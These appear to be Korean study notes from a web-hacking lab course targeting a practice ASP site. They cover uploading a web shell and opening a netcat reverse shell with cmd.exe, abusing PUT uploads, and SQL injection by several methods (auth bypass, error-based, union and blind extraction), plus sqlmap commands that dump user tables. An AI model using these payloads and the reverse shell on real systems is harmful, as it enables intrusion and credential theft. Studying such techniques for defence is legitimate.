Web Shell
1. 챕터2 게시판 webshell.asp 파일 클릭
2. 윈도우 보안 해제
3. 시스템 보안 폴더 utils-netcat 압축해제
4. cmd 로 nc경로 설정
5. webshell에서 nc파일 업로드 경로 실행
6. cmd에서 nc -l -p 1234 포트
7. C:\wwwroot\lecture\chapter1\upload\upload\upload\upload\nc 아이피주소 1234(포트) -e cmd.exe
8. 리버스터미널 실행 완료
http메소드 확인
nc.exe 아이피주소 80(포트)
OPTIONS / HTTP/1.1
host: 아이피 주소
nc.exe 아이피주소 80(포트)
PUT /chapter1/upload/test3.html HTTP/1.1
host: 아이피 주소
content-length: 20
test lalallallalaa
sql인젝션
method = post
name = 변수
id ,pwd 변수에 로그인 하는 사용자의 id, password 를 받는다.
http://아이피주소/member/login_ok.asp?id=아이디&pwd=비밀번호
m_id ='"&' or 1=1==&"' and m_pwd='"&아무거나&"' -----> 로그인됨
mssql,oracle --
mysql,mariadb #
'or 1=1#
보통의 web 사이트에서 아래와 같은 메시지는 통일된 에러페이지로 통합하여 접근할 수 없도록 함.
[입력]
' having 1=1--
[결과]
Microsoft OLE DB Provider for SQL Server error '80040e14'
'member.m_idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
/member/login_ok.asp, line 8
이를 통해서 member 테이블에 m_idx 하는 필드가 존재한다라는 것을 알수 있다.
where having
필드와 필드를 묶어서 조건을 넣기 위해 만든 절
having 절 같은경우 아래와 같이 GROUP BY 절이 함께한다.
SELECT b.dname, COUNT(a.empno) "사원수" FROM emp a, dept b, WHERE a.deptno = b.deptno
GROUP BY dname HAVING COUNT(a.empno) > 5;
select m_idx, m_id, m_name from member where m_id='"&id&"' and m_pwd='"&pwd&"'
요청 결과
' having 1=1-- 'member.m_idx'
' group by m_idx-- 'member.m_id'
' group by m_idx,m_id-- 'member.m_name'9
' group by m_idx,m_id,m_name--
[문제]
chapter1 검색 창은 error sql injection 이 되는 것 같습니다.
위와 같이 chapter1의 table 정보와 검색 창 select 필드를 뽑아보자
[요청] [결과]
' having 1=1-- chapter1.idx
' group by chapter1.idx-- chapter1.level_idx
' group by ~,chapter1.level_idx-- chapter1.ref_idx
' group by ~,chapter1.ref_idx-- chapter1.title
' group by ~,chapter1.title-- chapter1.name
' group by ~,chapter1.name-- chapter1.wtday
' group by ~,chapter1.wtday-- chapter1.hitcnt
' group by ~,chapter1.hitcnt--
가계부 database
1월 ~ 12월
날짜 수입 지출 내역 비교
보통의 경우,
select from 1월 where 조건;
....
select from 12월 where 조건;
1. 필드의 길이가 같아야 한다.
2. 필드의 데이터 타입이 같아야 한다.
member 테이블의 데이터 형식을 맞추고, 3개의 필드를 적절한 위치에 적용하여 나머지 부분은 무의미한 문자로 채움
'union select null,null,null,null,null,null,null from member--
'union select 0,null,null,null,null,null,null from member--
'union select null,0,null,m_id,null,null,null from member-- <--- m_idx, m_id, m_name, m_pwd
error sql injection이 서버의 http status에 대한 에러 처리 설정을 했을 경우,
즉각적인 에러 정보를 볼 수 없을 때, 우회를 하기 위한 공격
' and 1=1--
' and 1=2--
----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1' and 1=1--&idx=14&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1' and 1=2--&idx=14&w=&k=
----------------------참과 거짓을 표기하는 쿼리가 반응O-----------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and 1=1-- &w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and 1=2-- &w=&k=
----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w' and 1=1--=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w' and 1=2--=&k=
----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w=&k' and 1=1--=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w=&k' and 1=2--=
https://ko.wikipedia.org/wiki/ASCII
xx="Provider=sqloledb;Data Source=localhost; Initial Catalog=lecture; User ID=lecture; Password=lecture;"
DB이름 : lecture
db_name() = lecture
l -> ascii(108) -> isnull 비교 > 107
97부터 시작
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107-- (참)
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108-- (거짓)
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 108-- (거짓)
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 108--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 101--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14 공격벡터
ASPSESSIONIDSCSABASA=DLKLFLMCOILAANPJCHBNJFFG 쿠키
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -p "idx" --level=3 --current-user
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" --dbs
2. 테이블 정보 알아내기
sqlmap -u url -D(Database) --tables
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -D "lecture" --tables
3. 테이블 칼럼 정보 추출
sqlmap -u url -T(Table) --column
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -T "lecture" -T member --column
4. 데이터베이스 계정 정보 추출하기
sqlmap -u url -C(Column) --dump
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -T "lecture" -T member --column -C m_name --dump
5.
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -D -T --dump
HTTP 상태 코드 https://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C
1xx : 조건부 응답
2xx : 성공
3xx : 리다이렉션 완료
4xx : 요청 오류
3xx 4xx 에러 시 불필요한 정보를 야기한다
iis apache nginx tomcat 같은 웹 서버는 http status code 에 대한 에러 처리를 설정에서 할 수 있다.
web server = 독립적으로 서비스를 하는 개체
WAS = Web application을 포함하여 서비스를 하는 개체, 대시보드가 필요하다
apache,nginx등 버전별로 선택
web application(asp,jsp,php등) 버전별로 선택
db 버전별로 선택